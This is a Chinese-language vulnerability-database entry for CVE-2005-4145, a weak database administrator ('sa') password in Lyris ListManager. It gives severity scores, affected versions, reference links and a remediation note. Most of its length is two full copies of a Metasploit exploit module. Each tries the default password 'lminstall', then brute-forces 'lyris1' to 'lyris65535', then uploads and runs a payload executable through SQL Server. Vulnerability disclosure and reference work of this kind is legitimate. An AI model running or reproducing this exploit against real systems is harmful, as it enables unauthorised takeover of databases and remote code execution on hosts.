CVE-2005-4145
CVSS6.5
发布时间 :2005-12-10 06:03:00
修订时间 :2011-03-07 21:27:45
NMCOEP    

[原文]The MSDE version of Lyris ListManager 5.0 through 8.9b configures the sa account in the database to use a password with a small search space ("lyris" and up to 5 digits, possibly from the process ID), which allows remote attackers to gain access via a brute force attack.


[CNNVD]Lyris ListManager MSDE帐户密码设置漏洞(CNNVD-200512-191)

        Lyris ListManager 5.0至8.9b的MSDE版本将数据库中的sa帐户配置为使用具有小型搜索空间的密码("lyris"且最多5位,可能来自进程ID),远程攻击者可以通过强力攻击获取访问权。

- CVSS (基础分值)

CVSS分值: 6.5 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:lyris_technologies_inc:listmanager:6.0
cpe:/a:lyris_technologies_inc:listmanager:8.0
cpe:/a:lyris_technologies_inc:listmanager:8.8a
cpe:/a:lyris_technologies_inc:listmanager:7.0
cpe:/a:lyris_technologies_inc:listmanager:5.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4145
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-4145
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200512-191
(官方数据源) CNNVD

- 其它链接及资源

http://www.osvdb.org/21559
(PATCH)  OSVDB  21559
http://www.vupen.com/english/advisories/2005/2820
(UNKNOWN)  VUPEN  ADV-2005-2820
http://secunia.com/advisories/17943
(VENDOR_ADVISORY)  SECUNIA  17943
http://metasploit.com/research/vulns/lyris_listmanager/
(UNKNOWN)  MISC  http://metasploit.com/research/vulns/lyris_listmanager/
http://archives.neohapsis.com/archives/fulldisclosure/2005-12/0349.html
(UNKNOWN)  FULLDISC  20051208 PGP Wipe Free Space, Lyris ListManager Flaws, Windows Timestamps, Sam Juicer
http://www.securityfocus.com/archive/1/archive/1/419077/100/0/threaded
(UNKNOWN)  BUGTRAQ  20051209 PGP Wipe Free Space, Lyris ListManager Flaws, Windows Timestamps, Sam Juicer

- 漏洞信息

Lyris ListManager MSDE帐户密码设置漏洞
中危 未知
2005-12-10 00:00:00 2005-12-12 00:00:00
远程  
        Lyris ListManager 5.0至8.9b的MSDE版本将数据库中的sa帐户配置为使用具有小型搜索空间的密码("lyris"且最多5位,可能来自进程ID),远程攻击者可以通过强力攻击获取访问权。

- 公告与补丁

        

- 漏洞信息 (16397)

Lyris ListManager MSDE Weak sa Password (EDBID:16397)
windows remote
2010-09-20 Verified
0 metasploit
N/A [点击下载]
##
# $Id: lyris_listmanager_weak_pass.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::MSSQL
	include Msf::Exploit::EXE

	def initialize(info = {})

		super(update_info(info,
			'Name'           => 'Lyris ListManager MSDE Weak sa Password',
			'Description'    => %q{
					This module exploits a weak password vulnerability in the
				Lyris ListManager MSDE install. During installation, the 'sa'
				account password is set to 'lminstall'. Once the install
				completes, it is set to 'lyris' followed by the process
				ID of the installer. This module brute forces all possible
				process IDs that would be used by the installer.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2005-4145'],
					[ 'OSVDB', '21559'],
				],
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Dec 08 2005'
			))
	end

	# Do not automatically run this module, it can lead to lockouts with SQL Server 2005
	def autofilter
		false
	end

	def exploit

		# New installations use a randomly generated suffix like "lyris629dAe536F"
		pass = nil

		while(true)
			print_status("Trying to authenticate with password 'lminstall'...")
			if(mssql_login('sa', 'lminstall'))
				pass = 'lminstall'
				break
			end

			print_status("Trying to authenticate with passwords 'lyris1' to 'lyris65535'...")
			1.upto(65535) do |pid|

				if(pid % 1000 == 0)
					print_status(" >> Completed #{pid} of 65535 authentication requests")
				end

				if(mssql_login('sa', "lyris#{pid}"))
					pass = "lyris#{pid}"
					break
				end
			end
			print_status("This system does not appear to be exploitable")
			return
		end

		print_status("")
		print_status("Sucessfully authenticated to #{rhost}:#{rport} with user 'sa' and password '#{pass}'")
		print_status("")

		exe = generate_payload_exe
		mssql_upload_exec(exe)

		handler
		disconnect
	end
end
		

- 漏洞信息 (F83075)

Lyris ListManager MSDE Weak sa Password (PacketStormID:F83075)
2009-11-26 00:00:00
H D Moore  metasploit.com
exploit
CVE-2005-4145
[点击下载]

This Metasploit module exploits a weak password vulnerability in the Lyris ListManager MSDE install. During installation, the 'sa' account password is set to 'lminstall'. Once the install completes, it is set to 'lyris' followed by the process ID of the installer. This Metasploit module brute forces all possible process IDs that would be used by the installer.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::MSSQL

	def initialize(info = {})

		super(update_info(info,
			'Name'           => 'Lyris ListManager MSDE Weak sa Password',
			'Description'    => %q{
					This module exploits a weak password vulnerability in the
				Lyris ListManager MSDE install. During installation, the 'sa'
				account password is set to 'lminstall'. Once the install
				completes, it is set to 'lyris' followed by the process
				ID of the installer. This module brute forces all possible
				process IDs that would be used by the installer.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[

					[ 'OSVDB', '21559'],
					[ 'CVE', '2005-4145']
				],
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],
				],
			'DefaultTarget'  => 0 
			))
	end

	def exploit

		# New installations use a randomly generated suffix like "lyris629dAe536F"
		pass = nil
		
		while(true)
			print_status("Trying to authenticate with password 'lminstall'...")		
			if(mssql_login('sa', 'lminstall'))
				pass = 'lminstall'
				break
			end
			
			print_status("Trying to authenticate with passwords 'lyris1' to 'lyris65535'...")
			1.upto(65535) do |pid|
				
				if(pid % 1000 == 0)
					print_status(" >> Completed #{pid} of 65535 authentication requests")
				end
				
				if(mssql_login('sa', "lyris#{pid}"))
					pass = "lyris#{pid}"
					break
				end			
			end
			print_status("This system does not appear to be exploitable")
			return
		end		
		
		print_status("")
		print_status("Sucessfully authenticated to #{rhost}:#{rport} with user 'sa' and password '#{pass}'")
		print_status("")
		
		mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded))

		handler
		disconnect
	end
end
    

- 漏洞信息

21559
Lyris ListManager MSDE Default sa Password
Remote / Network Access Cryptographic
Loss of Integrity
Exploit Public

- 漏洞描述

By default, Lyris ListManager installs with a default password. The 'sa' account has a password of 'lminstall' which is publicly known and documented. This allows attackers to trivially access the program or system.

- 时间线

2005-12-08 2005-06-21
2005-12-08 Unknow

- 解决方案

Immediately after installation, change all default install passwords to a unique and secure password. When possible, change default accounts to custom names as well.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站